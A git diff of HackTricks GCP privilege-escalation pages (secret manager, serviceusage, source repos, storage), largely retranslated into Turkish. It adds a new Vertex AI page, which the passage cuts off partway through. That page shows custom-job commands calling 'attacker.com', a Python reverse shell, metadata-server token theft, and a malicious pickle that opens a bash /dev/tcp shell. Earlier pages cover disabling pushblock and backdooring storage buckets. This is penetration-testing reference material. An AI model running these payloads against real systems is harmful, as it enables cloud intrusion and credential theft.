@@ -12,12 +12,16 @@ secretmanager hakkında daha fazla bilgi için:
### `secretmanager.versions.access`
-Bu, gizli yöneticiden sırları okuma erişimi sağlar ve belki de bu, ayrıcalıkları artırmaya yardımcı olabilir (gizli bilgilerin içinde hangi bilgilerin saklandığına bağlı olarak):
+Bu, secret manager'daki secret'ları okuma erişimi sağlar ve içindeki saklanan bilgilere bağlı olarak yetki yükseltmesine yardımcı olabilir:
+
+Get clear-text secret version
```bash
# Get clear-text of version 1 of secret: ""
gcloud secrets versions access 1 --secret=""
```
-Bu da bir post exploitation tekniği olduğundan, şurada bulunabilir:
+
+
+Bu aynı zamanda bir post exploitation tekniği olduğundan şu adreste bulunabilir:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -25,10 +29,14 @@ Bu da bir post exploitation tekniği olduğundan, şurada bulunabilir:
### `secretmanager.secrets.setIamPolicy`
-Bu, size secret manager'dan sırları okuma erişimi verir, örneğin:
+Bu, secret manager'daki secrets'leri okumaya erişim sağlar; örneğin:
+
+Add IAM policy binding to secret
```bash
gcloud secrets add-iam-policy-binding \
--member="serviceAccount:@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
index 0fd7889b6..36b1023ce 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
@@ -4,11 +4,11 @@
## serviceusage
-Aşağıdaki izinler, API anahtarları oluşturmak ve çalmak için faydalıdır, belgelerden bunu not edin: _Bir API anahtarı, **bir uygulamayı herhangi bir ilke olmadan tanımlayan** basit bir şifrelenmiş dizedir. Kamu verilerine **anonim olarak** erişmek için faydalıdırlar ve API isteklerini projenizle **ilişkilendirmek** için kullanılırlar, bu da kota ve **faturalama** için geçerlidir._
+Aşağıdaki izinler API key oluşturmak ve çalmak için kullanışlıdır, belgelerde şu şekilde belirtilmiş: _API key, **herhangi bir principal olmadan bir uygulamayı tanımlayan** basit şifrelenmiş bir dizgedir. **Genel verilere anonim olarak** erişmek için faydalıdırlar ve API isteklerini kota ve **faturalama** için projenizle **ilişkilendirmek** amacıyla kullanılırlar._
-Bu nedenle, bir API anahtarı ile o şirketin API kullanımınız için ödeme yapmasını sağlayabilirsiniz, ancak yetkileri artırmanız mümkün olmayacaktır.
+Bu nedenle, bir API key ile o şirketin API kullanımınızın ücretini ödemesini sağlayabilirsiniz, ancak ayrıcalıkları yükseltemezsiniz.
-Diğer izinleri ve API anahtarları oluşturma yollarını öğrenmek için kontrol edin:
+Diğer izinleri ve API key üretme yollarını öğrenmek için şuna bakın:
{{#ref}}
gcp-apikeys-privesc.md
@@ -16,37 +16,45 @@ gcp-apikeys-privesc.md
### `serviceusage.apiKeys.create`
-**API anahtarları oluşturmak için kullanılabilecek** belgelenmemiş bir API bulundu:
+Belgelenmemiş bir API bulundu; bu **API key oluşturmak** için kullanılabilir:
+
+Belgelendirilmeyen API'yi kullanarak API key oluştur
```bash
curl -XPOST "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)"
```
+
+
### `serviceusage.apiKeys.list`
-Zaten oluşturulmuş API anahtarlarını listelemek için başka bir belgelenmemiş API bulundu (API anahtarları yanıtta görünmektedir):
+Halihazırda oluşturulmuş API keys'i listelemek için başka bir belgelenmemiş API bulundu (API keys yanıt içinde görünür):
+
+Belgelenmemiş API kullanarak API keys'i listele
```bash
curl "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)"
```
+
+
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
-Bu izinlerle bir saldırgan projede yeni hizmetleri etkinleştirebilir ve kullanabilir. Bu, bir **saldırganın Workspace bilgilerine erişmeye çalışmak için admin veya cloudidentity gibi hizmetleri etkinleştirmesine** veya ilginç verilere erişmek için diğer hizmetleri kullanmasına olanak tanıyabilir.
+Bu izinlerle bir attacker projede yeni servisleri etkinleştirebilir ve kullanabilir. Bu, attacker'ın admin veya cloudidentity gibi servisleri etkinleştirerek Workspace bilgilerine erişmeye çalışmasına veya ilginç verilere erişmek için diğer servisleri kullanmasına imkan verebilir.
-## **References**
+## **Referanslar**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
-HackTricks'i destekleyin ve avantajlar elde edin!
+HackTricks'i destekleyin ve avantajlar kazanın!
-Bir **siber güvenlik şirketinde** mi çalışıyorsunuz? **şirketinizin HackTricks'te reklamını görmek** mi istiyorsunuz? veya **PEASS'in en son sürümüne erişim sağlamak veya HackTricks'i PDF olarak indirmek** mi istiyorsunuz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+Bir **siber güvenlik şirketinde** mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'in en son sürümüne erişmek ya da HackTricks'i PDF olarak indirmek** mi istiyorsunuz? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) sayfasına bakın!
-[**PEASS Ailesini**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz.
+Keşfedin [**The PEASS Family**](https://opensea.io/collection/the-peass-family), özel koleksiyonumuz [**NFTs**](https://opensea.io/collection/the-peass-family)
-[**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın.
+Edinin: [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-**Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bana Twitter'da** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+**Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram group**](https://t.me/peass) veya **beni Twitter'da takip edin** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-**Hacking ipuçlarınızı paylaşın,** [**hacktricks github repo'suna**](https://github.com/carlospolop/hacktricks) PR göndererek paylaşın\*\*\*\*
+**Hacking tricks'inizi PR göndererek paylaşın:** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
index 38b1a86be..c2a505d7b 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Kaynak Depoları
+## Source Repositories
-Kaynak Depoları hakkında daha fazla bilgi için kontrol edin:
+Source Repositories hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-source-repositories-enum.md
@@ -12,41 +12,49 @@ Kaynak Depoları hakkında daha fazla bilgi için kontrol edin:
### `source.repos.get`
-Bu izinle, depoyu yerel olarak indirmek mümkündür:
+Bu izin sayesinde repository'yi yerel olarak indirebilirsiniz:
+
+Source repository'ı klonla
```bash
gcloud source repos clone --project=
```
+
+
### `source.repos.update`
-Bu izne sahip bir kullanıcı **`gcloud source repos clone `** ile klonlanmış bir depoda kod yazabilir. Ancak bu iznin özel rollere eklenemeyeceğini unutmayın, bu nedenle önceden tanımlanmış bir rol aracılığıyla verilmesi gerekir:
+Bu izne sahip bir principal, **`gcloud source repos clone ` ile klonlanan bir repository içinde kod yazabilir**. Ancak bu iznin custom rollere atanamayacağını unutmayın, bu yüzden şu ön tanımlı roller aracılığıyla verilmelidir:
- Owner
- Editor
- Source Repository Administrator (`roles/source.admin`)
- Source Repository Writer (`roles/source.writer`)
-Yazmak için sadece normal bir **`git push`** gerçekleştirin.
+Yazmak için normal bir **`git push`** yapmanız yeterlidir.
### `source.repos.setIamPolicy`
-Bu izinle bir saldırgan kendisine önceki izinleri verebilir.
+Bu izin ile bir saldırgan kendine önceki izinleri verebilir.
-### Gizli erişim
+### Secret erişimi
-Eğer saldırgan **tokenların saklandığı gizli bilgilere** erişim sağlarsa, onları çalabilir. Gizli bir bilgiye nasıl erişileceği hakkında daha fazla bilgi için kontrol edin:
+Saldırgan token'ların saklandığı **secrets**'lara erişimi varsa bunları çalabilir. Bir secret'a nasıl erişileceği hakkında daha fazla bilgi için bakınız:
{{#ref}}
gcp-secretmanager-privesc.md
{{#endref}}
-### SSH anahtarları ekle
+### SSH anahtarları ekleme
-Web konsolunda **Source Repository projesine ssh anahtarları eklemek** mümkündür. **`/v1/sshKeys:add`** adresine bir post isteği gönderir ve [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) adresinde yapılandırılabilir.
+Web console'da **Source Repository projesine ssh keys eklemek** mümkündür. Bu, **`/v1/sshKeys:add`** üzerine bir POST isteği yapar ve [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) adresinde yapılandırılabilir.
-SSH anahtarınız ayarlandığında, bir depoya erişmek için:
+SSH key'iniz ayarlandıktan sonra bir repo'ya şu şekilde erişebilirsiniz:
+
+SSH kullanarak repository klonlama
```bash
git clone ssh://username@domain.com@source.developers.google.com:2022/p//r/
```
+
+
Ve ardından **`git`** komutlarını her zamanki gibi kullanın.
### Manuel Kimlik Bilgileri
@@ -55,25 +63,29 @@ Source Repositories'e erişmek için manuel kimlik bilgileri oluşturmak mümkü
-İlk bağlantıya tıkladığınızda sizi [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) adresine yönlendirecektir.
+İlk linke tıkladığınızda sizi [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) adresine yönlendirir.
-Bu, **Google Cloud Development**'a erişim vermek için bir **Oauth yetkilendirme istemi** gösterecektir. Bu nedenle, ya **kullanıcının kimlik bilgilerine** ya da bunun için **tarayıcıda açık bir oturuma** ihtiyacınız olacak.
+Bu, **Oauth authorization prompt** göstererek **Google Cloud Development**'e erişim isteyecektir. Bu nedenle bunun için ya kullanıcının **kimlik bilgilerine** ya da tarayıcıda **açık bir oturuma** ihtiyacınız olacak.
-Bu, **`$HOME/.gitcookies`** içinde bir git çerezi yapılandırmak ve çalıştırmak için bir **bash betiği** ile bir sayfaya yönlendirecektir.
+Bu sizi çalıştırılacak bir **bash scripti** içeren ve **`$HOME/.gitcookies`** içinde bir git cookie'si yapılandıran bir sayfaya gönderir.
-Betiği çalıştırdıktan sonra git clone, push... gibi komutları kullanabilirsiniz ve bu çalışacaktır.
+Scripti çalıştırdıktan sonra git clone, push... komutlarını kullanabilirsiniz ve çalışacaktır.
### `source.repos.updateProjectConfig`
-Bu izinle, Private Keys içeren kodların yüklenmemesi için Source Repositories varsayılan korumasını devre dışı bırakmak mümkündür:
+Bu izinle, Source Repositories'in private key içeren kodların yüklenmesini engelleyen varsayılan korumasını devre dışı bırakmak mümkündür:
+
+pushblock'u devre dışı bırakma ve pub/sub yapılandırmasını değiştirme
```bash
gcloud source project-configs update --disable-pushblock
```
-Ayrıca farklı bir pub/sub konusu yapılandırabilir veya tamamen devre dışı bırakabilirsiniz:
+Farklı bir pub/sub topic'i de yapılandırabilir veya tamamen devre dışı bırakabilirsiniz:
```bash
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
index fad19f0c2..1c3ddf6ef 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
@@ -4,7 +4,7 @@
## Storage
-Temel Bilgiler:
+Basic Information:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,18 +12,18 @@ Temel Bilgiler:
### `storage.objects.get`
-Bu izin, **Cloud Storage içinde saklanan dosyaları indirmenize** olanak tanır. Bu, bazı durumlarda **hassas bilgilerin orada saklanması** nedeniyle yetki yükseltmenize olanak sağlayabilir. Ayrıca, bazı GCP hizmetleri bilgilerini bucket'larda saklar:
+Bu izin, **Cloud Storage içinde depolanan dosyaları indirmenize** olanak tanır. Bu, bazı durumlarda **hassas bilgilerin orada saklanması** nedeniyle potansiyel olarak escalate privileges sağlamanıza izin verebilir. Ayrıca, bazı GCP servisleri bilgilerini buckets içinde saklar:
-- **GCP Composer**: Bir Composer Ortamı oluşturduğunuzda, **tüm DAG'ların kodu** bir **bucket** içinde saklanacaktır. Bu görevler, kodlarının içinde ilginç bilgiler içerebilir.
-- **GCR (Container Registry)**: Konteynerlerin **görüntüleri** **bucket'larda** saklanır, bu da bucket'ları okuyabiliyorsanız görüntüleri indirebileceğiniz ve **sızıntıları ve/veya kaynak kodunu** arayabileceğiniz anlamına gelir.
+- **GCP Composer**: Bir Composer Environment oluşturduğunuzda **tüm DAG'lerin kodu** bir **bucket** içinde kaydedilir. Bu görevlerin kodlarında ilginç bilgiler bulunabilir.
+- **GCR (Container Registry)**: Container'ların **image**'ları **buckets** içinde saklanır; bu da eğer buckets'ları okuyabiliyorsanız image'ları indirip **search for leaks and/or source code** yapabilmenizi sağlar.
### `storage.objects.setIamPolicy`
-Bu bölümdeki önceki senaryoları **istismar etme izni** verebilirsiniz.
+Bu izin, bu bölümdeki önceki senaryoların herhangi birini **kötüye kullanmanıza** olanak sağlayabilir.
### **`storage.buckets.setIamPolicy`**
-Bu izni kullanarak izinleri nasıl değiştireceğinize dair bir örnek için bu sayfayı kontrol edin:
+Bu izni kullanarak izinleri nasıl değiştireceğinize dair bir örnek için bu sayfaya bakın:
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
@@ -31,7 +31,9 @@ Bu izni kullanarak izinleri nasıl değiştireceğinize dair bir örnek için bu
### `storage.hmacKeys.create`
-Cloud Storage'ın "işletilebilirlik" özelliği, AWS S3 gibi **bulutlar arası etkileşimler** için tasarlanmıştır ve **HMAC anahtarlarının Hizmet Hesapları ve kullanıcılar için oluşturulmasını** içerir. Bir saldırgan, **yükseltilmiş yetkilere sahip bir Hizmet Hesabı için HMAC anahtarı üreterek** bunu istismar edebilir ve böylece **Cloud Storage içinde yetki yükseltebilir**. Kullanıcıya bağlı HMAC anahtarları yalnızca web konsolu aracılığıyla alınabilirken, hem erişim hem de gizli anahtarlar **sürekli erişilebilir** kalır ve potansiyel yedek erişim depolamasına olanak tanır. Öte yandan, Hizmet Hesabı ile bağlantılı HMAC anahtarları API erişimine açıktır, ancak erişim ve gizli anahtarları oluşturulduktan sonra alınamaz, bu da sürekli erişim için bir katman karmaşıklık ekler.
+Cloud Storage'ın "interoperability" özelliği, AWS S3 gibi **cross-cloud interactions** için tasarlanmıştır ve **Service Accounts ve kullanıcılar için HMAC anahtarlarının oluşturulmasını** içerir. Bir saldırgan bunu, **yüksek ayrıcalıklara sahip bir Service Account için bir HMAC anahtarı oluşturarak** suistimal edebilir; böylece **escalating privileges within Cloud Storage** gerçekleşebilir. Kullanıcıya bağlı HMAC anahtarları yalnızca web console üzerinden alınabilirken, hem access hem secret keys **perpetually accessible** durumda kalarak potansiyel olarak yedek erişim depolamaya izin verir. Buna karşılık, Service Account ile ilişkili HMAC anahtarları API üzerinden erişilebilir, ancak oluşturulduktan sonra access ve secret anahtarları alınamaz; bu da sürekli erişim için ek bir karmaşıklık katmanı ekler.
+
+Create and use HMAC key for privilege escalation
```bash
# Create key
gsutil hmac create # You might need to execute this inside a VM instance
@@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
-Başka bir istismar scripti bu yöntem için [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) bulunabilir.
+
-## `storage.objects.create`, `storage.objects.delete` = Depolama Yazma izinleri
+Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
-Bir **nesne oluşturmak** için bir bucket içinde `storage.objects.create` iznine ihtiyacınız var ve [belgelere](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) göre, mevcut bir nesneyi **değiştirmek** için de `storage.objects.delete` iznine ihtiyacınız var.
+### `storage.objects.create`, `storage.objects.delete` = Storage Yazma izinleri
-Bulut içinde yazma iznine sahip olduğunuz bucket'ların çok **yaygın bir istismar** durumu, eğer **bucket web sunucusu dosyalarını kaydediyorsa**, web uygulaması tarafından kullanılacak **yeni kodlar depolayabilmenizdir**.
+In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), you need also `storage.objects.delete` to **modify** an existent object.
+
+A very **common exploitation** of buckets where you can write in cloud is in case the **bucket is saving web server files**, you might be able to **store new code** that will be used by the web application.
### Composer
-**Composer**, GCP içinde yönetilen **Apache Airflow**'dur. Birçok ilginç özelliği vardır:
+**Composer** is **Apache Airflow** managed inside GCP. It has several interesting features:
-- **GKE kümesi** içinde çalışır, bu nedenle **kümenin kullandığı SA, Composer içinde çalışan kod tarafından erişilebilir**.
-- Bir composer ortamının tüm bileşenleri (**DAG'lerin kodu**, eklentiler ve veriler) bir GCP bucket'ında depolanır. Eğer saldırganın buna okuma ve yazma izinleri varsa, bucket'ı izleyebilir ve **herhangi bir DAG oluşturulduğunda veya güncellendiğinde, arka kapılı bir versiyon gönderebilir** böylece composer ortamı depolamadan arka kapılı versiyonu alır.
+- It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer
+- All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
-**Bu saldırının bir PoC'sini repoda bulabilirsiniz:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
-- Cloud Functions kodu Storage'da depolanır ve yeni bir versiyon oluşturulduğunda kod bucket'a yüklenir ve ardından bu koddan yeni bir konteyner oluşturulur. Bu nedenle, **yeni versiyon oluşturulmadan önce kodu üzerine yazmak, bulut fonksiyonunun rastgele kod çalıştırmasını sağlamak için mümkündür**.
+- Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
-**Bu saldırının bir PoC'sini repoda bulabilirsiniz:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
-AppEngine versiyonları, `staging..appspot.com` formatında bir bucket içinde bazı veriler oluşturur. Bu bucket içinde, her AppEngine uygulama versiyonu için bir klasör içerecek `ae` adında bir klasör bulmak mümkündür ve bu klasörlerin içinde `manifest.json` dosyasını bulmak mümkündür. Bu dosya, belirli versiyonu oluşturmak için kullanılacak tüm dosyaların bulunduğu bir json içerir. Ayrıca, **dosyaların gerçek adlarını, GCP bucket'ındaki URL'lerini (bucket içindeki dosyalar adlarını sha1 hash'leri ile değiştirmiştir) ve her dosyanın sha1 hash'ini bulmak mümkündür.**
+AppEngine versions generate some data inside a bucket with the format name: `staging..appspot.com`. Inside this bucket, it's possible to find a folder called `ae` that will contain a folder per version of the AppEngine app and inside these folders it'll be possible to find the `manifest.json` file. This file contains a json with all the files that must be used to create the specific version. Moreover, it's possible to find the **real names of the files, the URL to them inside the GCP bucket (the files inside the bucket changed their name for their sha1 hash) and the sha1 hash of each file.**
-_Bu bucket'ı önceden ele geçirmenin mümkün olmadığını unutmayın çünkü GCP kullanıcıları appspot.com alan adını kullanarak bucket oluşturmak için yetkilendirilmemiştir._
+_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
-Ancak, bu bucket üzerinde okuma ve yazma erişimi ile, bucket'ı izleyerek ve herhangi bir değişiklik yapıldığında (yeni versiyon), yeni versiyonu mümkün olan en hızlı şekilde değiştirmek suretiyle App Engine versiyonuna bağlı SA'ya yetki yükseltmek mümkündür. Bu şekilde, bu koddan oluşturulan konteyner arka kapılı kodu çalıştıracaktır.
+However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the App Engine version by monitoring the bucket and any time a change is performed (new version), modify the new version as fast as possible. This way, the container that gets created from this code will execute the backdoored code.
-Bahsedilen saldırı birçok farklı şekilde gerçekleştirilebilir, hepsi `staging..appspot.com` bucket'ını izlemekle başlar:
+The mentioned attack can be performed in a lot of different ways, all of them start by monitoring the `staging..appspot.com` bucket:
-- AppEngine versiyonunun tamamını yeni bir bucket'a yükleyin ve **yeni bucket adı ve sha1 hash'leri ile bir `manifest.json` dosyası hazırlayın**. Ardından, bucket içinde yeni bir versiyon oluşturulduğunda, sadece `manifest.json` dosyasını değiştirip kötü niyetli olanı yüklemeniz yeterlidir.
-- **Kötü niyetli bağımlılık kodunu kullanacak** değiştirilmiş bir `requirements.txt` versiyonu yükleyin ve `manifest.json` dosyasını yeni dosya adı, URL ve hash ile güncelleyin.
-- **Kötü niyetli kodu çalıştıracak** değiştirilmiş bir `main.py` veya `app.yaml` dosyası yükleyin ve `manifest.json` dosyasını yeni dosya adı, URL ve hash ile güncelleyin.
+- Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
+- Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
+- Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
-**Bu saldırının bir PoC'sini repoda bulabilirsiniz:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
-- **Google Container Registry**, görüntüleri bucket'larda depolar, eğer bu **bucket'lara yazabiliyorsanız** daha sonra bu bucket'ların çalıştığı yere **yanal hareket edebilirsiniz.**
-- GCR tarafından kullanılan bucket, `gs://.artifacts..appspot.com` benzeri bir URL'ye sahip olacaktır (En üst düzey alt alan adları [burada](https://cloud.google.com/container-registry/docs/pushing-and-pulling) belirtilmiştir).
+- **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.**
+- The bucket used by GCR will have an URL similar to `gs://.artifacts..appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
-> Bu hizmet kullanımdan kaldırılmıştır, bu nedenle bu saldırı artık işe yaramaz. Ayrıca, bu hizmetin yerini alan Artifact Registry, görüntüleri bucket'larda depolamaz.
+> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
-## **Referanslar**
+## **References**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
new file mode 100644
index 000000000..deb37e5e2
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
@@ -0,0 +1,715 @@
+# GCP - Vertex AI Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Vertex AI
+
+Vertex AI hakkında daha fazla bilgi için bakınız:
+
+{{#ref}}
+../gcp-services/gcp-vertex-ai-enum.md
+{{#endref}}
+
+### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
+
+Hedef bir servis hesabı üzerinde `aiplatform.customJobs.create` izni ve `iam.serviceAccounts.actAs` olduğunda, bir saldırgan **yükseltilmiş ayrıcalıklarla rastgele kod çalıştırabilir**.
+
+Bu, saldırgan kontrollü kodu çalıştıran bir custom training job oluşturarak (özel bir container veya Python package) çalışır. `--service-account` bayrağıyla ayrıcalıklı bir servis hesabı belirtilerek, job o servis hesabının izinlerini devralır. Job, GCP metadata servisine erişimi olan Google tarafından yönetilen altyapıda çalışır ve bu sayede servis hesabının OAuth erişim token'ının çıkarılmasına olanak tanır.
+
+**Etkisi**: Hedef servis hesabının izinlerine tam ayrıcalık yükseltmesi.
+
+
+
+Create custom job with reverse shell
+```bash
+# Method 1: Reverse shell to attacker-controlled server (most direct access)
+gcloud ai custom-jobs create \
+--region= \
+--display-name=revshell-job \
+--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
+--command=sh \
+--args=-c,"curl http://attacker.com" \
+--service-account=@.iam.gserviceaccount.com
+
+# On your attacker machine, start a listener first:
+# nc -lvnp 4444
+# Once connected, you can extract the token with:
+# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+
+# Method 2: Python reverse shell (if bash reverse shell is blocked)
+gcloud ai custom-jobs create \
+--region= \
+--display-name=revshell-job \
+--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
+--command=sh \
+--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
+--service-account=@.iam.gserviceaccount.com
+```
+
+
+
+
+Alternatif: Günlüklerden token'ı çıkar
+```bash
+# Method 3: View in logs (less reliable, logs may be delayed)
+gcloud ai custom-jobs create \
+--region= \
+--display-name=token-exfil-job \
+--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
+--command=sh \
+--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
+--service-account=@.iam.gserviceaccount.com
+
+# Monitor the job logs to get the token
+gcloud ai custom-jobs stream-logs --region=
+```
+
+
+> [!CAUTION]
+> Özel job, belirtilen service account'ın izinleriyle çalışacaktır. Hedef service account üzerinde `iam.serviceAccounts.actAs` izninizin olduğundan emin olun.
+
+### `aiplatform.models.upload`, `aiplatform.models.get`
+
+Bu teknik, bir modeli Vertex AI'ye yükleyip sonra o modeli bir endpoint deployment veya batch prediction job aracılığıyla yükseltilmiş ayrıcalıklarla kod çalıştırmak için kullanarak privilege escalation gerçekleştirir.
+
+> [!NOTE]
+> Bu saldırıyı gerçekleştirmek için herkese açık okunabilir bir GCS bucket'ınızın olması veya model artefaktlarını yüklemek için yeni bir tane oluşturmanız gerekir.
+
+
+
+Reverse shell içeren kötü amaçlı pickled model yükle
+```bash
+# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
+# Create malicious sklearn model that executes reverse shell when loaded
+cat > create_malicious_model.py <<'EOF'
+import pickle
+
+class MaliciousModel:
+def __reduce__(self):
+import subprocess
+cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
+return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
+
+# Save malicious model
+with open('model.pkl', 'wb') as f:
+pickle.dump(MaliciousModel(), f)
+EOF
+
